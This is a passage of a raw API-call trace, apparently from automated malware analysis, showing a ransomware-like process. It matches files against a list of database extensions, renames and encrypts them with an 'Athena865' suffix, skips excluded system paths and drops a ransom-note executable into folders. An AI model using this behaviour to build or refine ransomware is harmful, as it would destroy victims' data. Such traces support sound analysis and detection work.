lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0047.112] lstrlenW (lpString="db3") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0047.112] lstrlenW (lpString="dbf") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0047.112] lstrlenW (lpString="mdf") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0047.112] lstrlenW (lpString="mdb") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0047.113] lstrlenW (lpString="sql") returned 3 [0047.113] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0047.113] lstrlenW (lpString="sqlite") returned 6 [0047.113] lstrcmpiW (lpString1="wm.exe", lpString2="sqlite") returned 1 [0047.113] lstrlenW (lpString="sqlite3") returned 7 [0047.113] lstrcmpiW (lpString1="_wm.exe", lpString2="sqlite3") returned -1 [0047.113] lstrlenW (lpString="sqlitedb") returned 8 [0047.113] lstrcmpiW (lpString1="p_wm.exe", lpString2="sqlitedb") returned -1 [0047.113] lstrlenW (lpString="xml") returned 3 [0047.113] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0047.113] lstrlenW (lpString="$er") returned 3 [0047.113] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0047.113] lstrlenW (lpString="4dd") returned 3 [0047.113] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0047.113] lstrlenW (lpString="4dl") returned 3 [0047.113] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0047.113] lstrlenW (lpString="^^^") returned 3 [0047.113] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0047.113] lstrlenW (lpString="abs") returned 3 [0047.113] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0047.113] lstrlenW (lpString="abx") returned 3 [0047.113] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0047.113] lstrlenW (lpString="accdb") returned 5 [0047.113] lstrcmpiW (lpString1="m.exe", lpString2="accdb") returned 1 [0047.113] lstrlenW (lpString="accdc") returned 5 [0047.113] lstrcmpiW (lpString1="m.exe", lpString2="accdc") returned 1 [0047.113] lstrlenW (lpString="accde") returned 5 [0047.113] lstrcmpiW (lpString1="m.exe", lpString2="accde") returned 1 [0047.113] lstrlenW (lpString="accdr") returned 5 [0047.113] lstrcmpiW (lpString1="m.exe", lpString2="accdr") returned 1 [0047.113] lstrlenW (lpString="accdt") returned 5 [0047.113] lstrcmpiW (lpString1="m.exe", lpString2="accdt") returned 1 [0047.113] lstrlenW (lpString="accdw") returned 5 [0047.113] lstrcmpiW (lpString1="m.exe", lpString2="accdw") returned 1 [0047.113] lstrlenW (lpString="accft") returned 5 [0047.113] lstrcmpiW (lpString1="m.exe", lpString2="accft") returned 1 [0047.113] lstrlenW (lpString="adb") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0047.114] lstrlenW (lpString="adb") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0047.114] lstrlenW (lpString="ade") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0047.114] lstrlenW (lpString="adf") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0047.114] lstrlenW (lpString="adn") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0047.114] lstrlenW (lpString="adp") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0047.114] lstrlenW (lpString="alf") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0047.114] lstrlenW (lpString="ask") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0047.114] lstrlenW (lpString="btr") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0047.114] lstrlenW (lpString="cat") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0047.114] lstrlenW (lpString="cdb") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0047.114] lstrlenW (lpString="ckp") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0047.114] lstrlenW (lpString="cma") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0047.114] lstrlenW (lpString="cpd") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0047.114] lstrlenW (lpString="dacpac") returned 6 [0047.114] lstrcmpiW (lpString1="wm.exe", lpString2="dacpac") returned 1 [0047.114] lstrlenW (lpString="dad") returned 3 [0047.114] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0047.114] lstrlenW (lpString="dadiagrams") returned 10 [0047.114] lstrcmpiW (lpString1="tup_wm.exe", lpString2="dadiagrams") returned 1 [0047.114] lstrlenW (lpString="daschema") returned 8 [0047.114] lstrcmpiW (lpString1="p_wm.exe", lpString2="daschema") returned 1 [0047.115] lstrlenW (lpString="db-journal") returned 10 [0047.115] lstrcmpiW (lpString1="tup_wm.exe", lpString2="db-journal") returned 1 [0047.115] lstrlenW (lpString="db-shm") returned 6 [0047.115] lstrcmpiW (lpString1="wm.exe", lpString2="db-shm") returned 1 [0047.115] lstrlenW (lpString="db-wal") returned 6 [0047.115] lstrcmpiW (lpString1="wm.exe", lpString2="db-wal") returned 1 [0047.115] lstrlenW (lpString="dbc") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0047.115] lstrlenW (lpString="dbs") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0047.115] lstrlenW (lpString="dbt") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0047.115] lstrlenW (lpString="dbv") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0047.115] lstrlenW (lpString="dbx") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0047.115] lstrlenW (lpString="dcb") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0047.115] lstrlenW (lpString="dct") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0047.115] lstrlenW (lpString="dcx") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0047.115] lstrlenW (lpString="ddl") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0047.115] lstrlenW (lpString="dlis") returned 4 [0047.115] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0047.115] lstrlenW (lpString="dp1") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0047.115] lstrlenW (lpString="dqy") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0047.115] lstrlenW (lpString="dsk") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0047.115] lstrlenW (lpString="dsn") returned 3 [0047.115] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0047.115] lstrlenW (lpString="dtsx") returned 4 [0047.115] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0047.116] lstrlenW (lpString="dxl") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0047.116] lstrlenW (lpString="eco") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0047.116] lstrlenW (lpString="ecx") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0047.116] lstrlenW (lpString="edb") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0047.116] lstrlenW (lpString="epim") returned 4 [0047.116] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0047.116] lstrlenW (lpString="fcd") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0047.116] lstrlenW (lpString="fdb") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0047.116] lstrlenW (lpString="fic") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0047.116] lstrlenW (lpString="flexolibrary") returned 12 [0047.116] lstrlenW (lpString="fm5") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0047.116] lstrlenW (lpString="fmp") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0047.116] lstrlenW (lpString="fmp12") returned 5 [0047.116] lstrcmpiW (lpString1="m.exe", lpString2="fmp12") returned 1 [0047.116] lstrlenW (lpString="fmpsl") returned 5 [0047.116] lstrcmpiW (lpString1="m.exe", lpString2="fmpsl") returned 1 [0047.116] lstrlenW (lpString="fol") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0047.116] lstrlenW (lpString="fp3") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0047.116] lstrlenW (lpString="fp4") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0047.116] lstrlenW (lpString="fp5") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0047.116] lstrlenW (lpString="fp7") returned 3 [0047.116] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0047.116] lstrlenW (lpString="fpt") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0047.117] lstrlenW (lpString="frm") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0047.117] lstrlenW (lpString="gdb") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0047.117] lstrlenW (lpString="gdb") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0047.117] lstrlenW (lpString="grdb") returned 4 [0047.117] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0047.117] lstrlenW (lpString="gwi") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0047.117] lstrlenW (lpString="hdb") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0047.117] lstrlenW (lpString="his") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0047.117] lstrlenW (lpString="ib") returned 2 [0047.117] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0047.117] lstrlenW (lpString="idb") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0047.117] lstrlenW (lpString="ihx") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0047.117] lstrlenW (lpString="itdb") returned 4 [0047.117] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0047.117] lstrlenW (lpString="itw") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0047.117] lstrlenW (lpString="jet") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0047.117] lstrlenW (lpString="jtx") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0047.117] lstrlenW (lpString="kdb") returned 3 [0047.117] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0047.117] lstrlenW (lpString="kexi") returned 4 [0047.117] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0047.117] lstrlenW (lpString="kexic") returned 5 [0047.117] lstrcmpiW (lpString1="m.exe", lpString2="kexic") returned 1 [0047.117] lstrlenW (lpString="kexis") returned 5 [0047.118] lstrcmpiW (lpString1="m.exe", lpString2="kexis") returned 1 [0047.118] lstrlenW (lpString="lgc") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0047.118] lstrlenW (lpString="lwx") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0047.118] lstrlenW (lpString="maf") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0047.118] lstrlenW (lpString="maq") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0047.118] lstrlenW (lpString="mar") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0047.118] lstrlenW (lpString="marshal") returned 7 [0047.118] lstrcmpiW (lpString1="_wm.exe", lpString2="marshal") returned -1 [0047.118] lstrlenW (lpString="mas") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0047.118] lstrlenW (lpString="mav") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0047.118] lstrlenW (lpString="maw") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0047.118] lstrlenW (lpString="mdbhtml") returned 7 [0047.118] lstrcmpiW (lpString1="_wm.exe", lpString2="mdbhtml") returned -1 [0047.118] lstrlenW (lpString="mdn") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0047.118] lstrlenW (lpString="mdt") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0047.118] lstrlenW (lpString="mfd") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0047.118] lstrlenW (lpString="mpd") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0047.118] lstrlenW (lpString="mrg") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0047.118] lstrlenW (lpString="mud") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0047.118] lstrlenW (lpString="mwb") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0047.118] lstrlenW (lpString="myd") returned 3 [0047.118] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0047.119] lstrlenW (lpString="ndf") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0047.119] lstrlenW (lpString="nnt") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0047.119] lstrlenW (lpString="nrmlib") returned 6 [0047.119] lstrcmpiW (lpString1="wm.exe", lpString2="nrmlib") returned 1 [0047.119] lstrlenW (lpString="ns2") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0047.119] lstrlenW (lpString="ns3") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0047.119] lstrlenW (lpString="ns4") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0047.119] lstrlenW (lpString="nsf") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0047.119] lstrlenW (lpString="nv") returned 2 [0047.119] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0047.119] lstrlenW (lpString="nv2") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0047.119] lstrlenW (lpString="nwdb") returned 4 [0047.119] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0047.119] lstrlenW (lpString="nyf") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0047.119] lstrlenW (lpString="odb") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0047.119] lstrlenW (lpString="odb") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0047.119] lstrlenW (lpString="oqy") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0047.119] lstrlenW (lpString="ora") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0047.119] lstrlenW (lpString="orx") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0047.119] lstrlenW (lpString="owc") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0047.119] lstrlenW (lpString="p96") returned 3 [0047.119] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0047.120] lstrlenW (lpString="p97") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0047.120] lstrlenW (lpString="pan") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0047.120] lstrlenW (lpString="pdb") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0047.120] lstrlenW (lpString="pdm") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0047.120] lstrlenW (lpString="pnz") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0047.120] lstrlenW (lpString="qry") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0047.120] lstrlenW (lpString="qvd") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0047.120] lstrlenW (lpString="rbf") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0047.120] lstrlenW (lpString="rctd") returned 4 [0047.120] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0047.120] lstrlenW (lpString="rod") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0047.120] lstrlenW (lpString="rodx") returned 4 [0047.120] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0047.120] lstrlenW (lpString="rpd") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0047.120] lstrlenW (lpString="rsd") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0047.120] lstrlenW (lpString="sas7bdat") returned 8 [0047.120] lstrcmpiW (lpString1="p_wm.exe", lpString2="sas7bdat") returned -1 [0047.120] lstrlenW (lpString="sbf") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0047.120] lstrlenW (lpString="scx") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0047.120] lstrlenW (lpString="sdb") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0047.120] lstrlenW (lpString="sdc") returned 3 [0047.120] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0047.120] lstrlenW (lpString="sdf") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0047.121] lstrlenW (lpString="sis") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0047.121] lstrlenW (lpString="spq") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0047.121] lstrlenW (lpString="te") returned 2 [0047.121] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0047.121] lstrlenW (lpString="teacher") returned 7 [0047.121] lstrcmpiW (lpString1="_wm.exe", lpString2="teacher") returned -1 [0047.121] lstrlenW (lpString="tmd") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0047.121] lstrlenW (lpString="tps") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0047.121] lstrlenW (lpString="trc") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0047.121] lstrlenW (lpString="trc") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0047.121] lstrlenW (lpString="trm") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0047.121] lstrlenW (lpString="udb") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0047.121] lstrlenW (lpString="udl") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0047.121] lstrlenW (lpString="usr") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0047.121] lstrlenW (lpString="v12") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0047.121] lstrlenW (lpString="vis") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0047.121] lstrlenW (lpString="vpd") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0047.121] lstrlenW (lpString="vvv") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0047.121] lstrlenW (lpString="wdb") returned 3 [0047.121] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0047.121] lstrlenW (lpString="wmdb") returned 4 [0047.121] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0047.121] lstrlenW (lpString="wrk") returned 3 [0047.122] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0047.122] lstrlenW (lpString="xdb") returned 3 [0047.122] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0047.122] lstrlenW (lpString="xld") returned 3 [0047.122] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0047.122] lstrlenW (lpString="xmlff") returned 5 [0047.122] lstrcmpiW (lpString1="m.exe", lpString2="xmlff") returned -1 [0047.122] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe.Athena865") returned 66 [0047.122] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files (x86)\\windows media player\\setup_wm.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\setup_wm.exe.athena865"), dwFlags=0x1) returned 1 [0047.124] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\setup_wm.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.124] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2012672) returned 1 [0047.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.124] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.125] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.125] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.125] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1eb900, lpName=0x0) returned 0x17c [0047.127] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1eb900) returned 0x2d50000 [0047.219] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.220] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.220] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a400 [0047.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a400 | out: hHeap=0x4f0000) returned 1 [0047.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.221] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0047.238] CloseHandle (hObject=0x17c) returned 1 [0047.238] CloseHandle (hObject=0x154) returned 1 [0047.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.248] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2=".") returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="..") returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="windows") returned -1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="bootmgr") returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="temp") returned -1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="pagefile.sys") returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="boot") returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="ids.txt") returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="ntuser.dat") returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="perflogs") returned 1 [0047.248] lstrcmpiW (lpString1="Skins", lpString2="MSBuild") returned 1 [0047.248] lstrlenW (lpString="Skins") returned 5 [0047.249] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Skins" | out: lpString1="Skins") returned="Skins" [0047.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509080 [0047.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e5f0 [0047.249] lstrcatW (in: lpString1="Skins", lpString2="\\" | out: lpString1="Skins\\") returned="Skins\\" [0047.249] lstrcatW (in: lpString1="Skins\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Skins\\HOW TO BACK YOUR FILES.exe") returned="Skins\\HOW TO BACK YOUR FILES.exe" [0047.249] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\skins\\how to back your files.exe"), bFailIfExists=1) returned 1 [0047.255] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0047.255] lstrcmpiW (lpString1="Visualizations", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.255] lstrcmpiW (lpString1="Visualizations", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.255] lstrcmpiW (lpString1="Visualizations", lpString2=".") returned 1 [0047.255] lstrcmpiW (lpString1="Visualizations", lpString2="..") returned 1 [0047.256] lstrcmpiW (lpString1="Visualizations", lpString2="windows") returned -1 